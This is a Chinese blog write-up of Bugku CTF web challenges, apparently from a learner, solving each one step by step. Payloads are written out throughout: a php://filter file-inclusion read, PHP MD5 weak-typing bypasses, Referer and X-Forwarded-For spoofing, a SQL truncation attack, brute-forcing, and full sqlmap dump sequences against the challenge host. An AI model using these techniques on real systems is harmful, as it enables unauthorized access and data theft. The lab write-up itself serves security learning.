Web4
考察查看網(wǎng)頁源代碼和escape編碼的解碼

提示“看看源代碼吧”,所以看了一下源代碼,發(fā)現(xiàn)一段JavaScript腳本。不過這段腳本好像是錯的,所以直接運行的話運行不了。

把它稍微改一改就可以運行了,運行后得到一段JavaScript代碼,當然也可以選擇不運行,直接解碼那些內(nèi)容,也可以得到這些代碼。

這段代碼如下:
function checkSubmit(){
var a=document.getElementById("password");
if("undefined"!=typeof(a){
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return 0;
alert("Error");
a.focus();
return 1;
}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;
大概意思就是:定義一個函數(shù)checkSubmit,要求傳入a,如果a的值不等于67d709b2b54aa2aa648cf6e87a7114f1,就彈框“error”,如果正確的話應該就拿到flag。
關于這段代碼的含義可以參考一下我的JavaScript筆記,雖然有些我還沒學到,不過大概意思可以看得懂。
在輸入框中輸入“”67d709b2b54aa2aa648cf6e87a7114f1”,得到flag。

flag在index里
考察使用PHP內(nèi)部協(xié)議讀取網(wǎng)頁源代碼

打開看到一個鏈接。

點進去一看只有test5,但是發(fā)現(xiàn)了“file=show.php”。
這道題是在做了HGAME2019的week2之后做的。有了做HGAME的經(jīng)驗很容易就知道這是一個文件包含漏洞,可以通過PHP內(nèi)置協(xié)議直接暴露index.php的源代碼。

構造?file=php://filter/read=convert.base64-encode/resource=index.php
成功暴露源代碼。

用hackbar插件進行BASE64解碼得到flag。

輸入密碼查看flag
考察使用Burp Suite爆破


提示密碼為五位數(shù)字,所以考慮爆破(題目鏈接也提示了要爆破……)。
抓包。

設置Positions和Payloads。


開始爆破,密碼為13579時返回信息有變化,查看響應得到flag。

點擊一百萬次
考察查看網(wǎng)頁源代碼和POST請求提交數(shù)據(jù)

提示了JavaScript,打開網(wǎng)頁源代碼果然看到了JavaScript代碼。

大概意思就是當clicks大于等于1000000時就會得到flag,所以用hackbar直接post:clicks=1000000,拿到flag。

備份是個好習慣
考察.bak文件和代碼審計。

打開之后只有兩串一樣的MD5,而且都是空密碼。
卡在這里很久,后來突然知道了.bak文件,于是嘗試打開index.php.bak。
后綴名為bak的文件是備份文件,修改了原文件的內(nèi)容后,保存了修改后的內(nèi)容,那么修改前的內(nèi)容會自動保存為后綴名為bak的備份文件(前提是設置了備份功能),如果想查看或者恢復修改前的內(nèi)容,就需要用到bak文件。
(來自百度知道)
果然有這個文件:

下載下來之后用記事本打開,發(fā)現(xiàn)一些php代碼:

查看代碼后發(fā)現(xiàn)要求傳入key1和key2兩個參數(shù),要求值不同而MD5加密后相同。由于只有兩個等號所以考慮用弱類型繞過。
但是,str_replace('key','',$str)這一句會過濾掉key,所以構造一個雙寫來繞過。
綜合起來Payload就是:?kekeyy1=QNKCDZO&kkeyey2=s1885207154a
提交一下得到flag。

成績單
最基本的SQL注入題,用sqlmap做或者手動都可以。我這里是用了sqlmap。

方法是post,參數(shù)是id。
檢測注入點:
python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1"

找到了注入點,也就是id。
接下來就是按照套路來:
爆庫:
python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1" --dbs

可以看到有兩個數(shù)據(jù)庫,flag應該在skctf_flag里。
爆表:
python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1" -D skctf_flag --tables

flag應該在fl4g這個表里。
爆字段名:
python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1" -D skctf_flag -T fl4g --columns

只有一個字段,那這個肯定就是flag了。
爆字段:
python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1" -D skctf_flag -T fl4g -C skctf_flag --dump

拿到了flag。
秋名山老司機
做這道題需要寫具有自動讀取、計算、自動提交功能的Python腳本。因為需要用正則表達式匹配算式,還要有自動請求和自動提交功能,所以要用到re庫和request庫。

打開刷新幾下會出現(xiàn)這樣的提示,即要傳入名為value的變量,value的值如果是答案的話就可以得到flag。

兩秒的話肯定不能手算,就用寫腳本的方法來解決。思考了一下寫出來的腳本應該有這樣的功能:
1.請求給定的url;2.提取頁面中的文字信息;3.將文字信息中的算式提取出來;4.計算這個算式并且得到結(jié)果;5.自動提交結(jié)果。
而且整個腳本的運行時間不能大于兩秒(雖然Python比C慢,但是這個一般都沒問題吧……)。

因為算式在<div></div>里,所以可以直接上正則提取出它們之間的東西,再去等號和問號變成純算式,再用eval()函數(shù)計算結(jié)果。不用正則的話,用BeautifulSoup也可以。
根據(jù)前面所想的功能編寫腳本:
ps:自己剛學Python四天,接觸正則表達式的時間更短,代碼力還不行,寫出來的正則表達式總是報錯或者匹配不出來,所以正則表達式提取<div></div>之間的算式那一句參考了別人的寫法,自己只是加上了過濾等號和問號的部分。
import re
import requests
url = 'http://123.206.87.240:8002/qiumingshan/'
s = requests.Session() #使用Session參數(shù)是為了防止提交答案時算式更新
r = s.get(url) #提取頁面信息
b = re.findall(r'<div>(.*)=\?;</div>',r.text,re.S)[0] #正則表達式提取<div></div>之間的算式
result = eval(b) #計算算式得到結(jié)果
post = {'value': result} #提交結(jié)果
print(s.post(url, data = post).text)
執(zhí)行腳本之后有一定幾率拿到flag,不知道為什么不可以100%成功。
總結(jié):正則表達式真難……
其余的目前還沒有全部做完,做完了的如下圖所示,沒做完的那些等以后做完再新開一篇文章補上。

never give up
考察view-source查看網(wǎng)頁源代碼和escape編碼的解碼

頁面里沒什么有用的信息,查看網(wǎng)頁源代碼發(fā)現(xiàn)一條注釋:

訪問了一下這個頁面,發(fā)現(xiàn)跳轉(zhuǎn)到了Bugku的首頁,那么這個1p.html的網(wǎng)頁源代碼里肯定有信息,使用view-source查看即可。

發(fā)現(xiàn)一串編碼過的字符,下面的unescape()函數(shù)提示這是escape編碼:

這段JS應該是可以執(zhí)行的,不過我還沒試,反正執(zhí)行也是解碼,就直接解碼了。
解碼,發(fā)現(xiàn)解碼出來的信息里有個f4l2a3g.txt,應該就是flag所在的頁面。
這段文字Urldecode之后應該還能出現(xiàn)信息,不過訪問了f4l2a3g.txt之后就拿到flag了,也沒想那么多。

拿到flag。

前女友(SKCTF)
最簡單的PHP弱類型利用

查看網(wǎng)頁源代碼發(fā)現(xiàn)鏈接,打開鏈接看到代碼。



要求傳入v1,v2,v3三個參數(shù),其中v1和v2的值不同但MD5加密后的值相同,v3(數(shù)組或字符串)與flag的值不同。
考慮到PHP弱類型:PHP在處理MD5加密后的字符串時,它把每一個以“0e”開頭的值都解釋為0^e(就是0),所以如果兩個不同的字符串經(jīng)過MD5加密以后,都是以“0e”開頭的,那么PHP將會認為他們相同。所以構造v1=QNKCDZO&v2=240610708&v3[]=1,提交得到flag。

login1(SKCTF)
考察基于約束的SQL攻擊。

在前幾天翻大佬們的博客時看到過這道題的wp,不過當時沒仔細看,結(jié)果剛看完就做到這道題了……
百度了一下“SQL約束攻擊”,讀完這篇文章之后有了解題思路:https://www.freebuf.com/articles/web/124537.html
打開頁面,如果隨便注冊的話會提示不是admin拿不到flag。

所以,根據(jù)上面那篇文章中提到的,為了入侵admin的賬戶,使用admin加隨意多的空白符注冊即可:

注冊成功后使用剛才注冊的用戶名登錄:

拿到flag:

你從哪里來
考察的是請求頭中Referer參數(shù)的使用。

打開鏈接看到一句話:

本以為是要在請求頭中添加X-Forwarded-For:(谷歌的ip地址),但是試過了發(fā)現(xiàn)沒有用。考慮到請求頭中的Referer參數(shù)的作用是:代表當前訪問URL的上一個URL,也就是說,用戶是從什么地方來到本頁面(摘自《Web安全深度剖析》),使用Hackbar中的Referer功能設置Referer參數(shù)的值為“https://www.google.com”,發(fā)送請求得到flag。


md5 collision(NUPT_CTF)
考察利用PHP弱類型繞過md5驗證。

什么提示也沒有,只有input a,聯(lián)想到題目叫md5碰撞,應該是利用弱類型繞過md5驗證。

用QNKCDZO試了下發(fā)現(xiàn)不行。

換了另一個md5加密后0e開頭的,得到flag。

程序員本地網(wǎng)站
考察的是請求頭中的X-Forwarded-For參數(shù)。


本地,也就是127.0.0.1。
在請求頭中添加“X-Forwarded-For: 127.0.0.1”,發(fā)送請求得到flag。

各種繞過
很基礎的代碼審計,考察數(shù)組繞過sha1()函數(shù)、URL二次解碼繞過

要提交三個參數(shù):uname、passwd、id。其中uname和id是GET方式提交,passwd是POST方式提交。要求uname和passwd在sha1()函數(shù)加密后相等,但是這里是用全等于判斷的,所以不能用弱類型繞過。
id在urldecode之后要等于margin,所以需要構造一個URL二次解碼繞過。

構造如下:

提交一下得到flag。

細心
考察查看robots.txt

打開一看發(fā)現(xiàn)一個意義不明的404頁面,于是想到看robots.txt。

打開之后果然有了發(fā)現(xiàn)。

進去一看,說不是管理員,ip被記錄了(而且還把我的ip暴露出來了)。
同時還發(fā)現(xiàn)底下有一句代碼。

提示說想辦法變成admin。一般來說提示不是管理員都是改Cookie,但是既然底下有這句代碼,那么就先傳入?x=admin試試。
還真行,拿到flag了。
這個頁面里的ip和時間應該都是其他師傅的,往下翻了翻還看到了自己的ip和時間,囧。

而且這個flag居然不是花括號,搞得我以為這里有坑,還要改成花括號或者這就是個假flag,結(jié)果直接交上去就對了,果然是我想太多了……
這是一個神奇的登陸框
考察SQL注入,用sqlmap輕松搞定。

進去一看是個登錄頁面,而且題目地址也寫了“sql”,那應該是sql注入。
隨便寫點什么提交一下,發(fā)現(xiàn)提交方式是post,請求主體是“admin_name=admin&admin_passwd=123&submit=GO+GO+GO”


通過前面測試DVWA的漏洞和做一些sql注入題,我已經(jīng)知道接下來是sqlmap出場的時間了(笑)。
先找一下注入點:
python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch

注入點是admin_name。
爆庫:
python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch --dbs

發(fā)現(xiàn)了兩個數(shù)據(jù)庫。flag應該在第一個數(shù)據(jù)庫里。
爆表:
python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch -D bugkusql1 --tables

有兩個表。flag應該在flag1里。
爆字段名:
python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch -D bugkusql1 -T flag1 --columns

這應該就是flag了。
最后爆字段:
python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch -D bugkusql1 -T flag1 -C flag1 --dump

這串MD5應該就是flag。
加上flag{}格式,就得到真正的flag。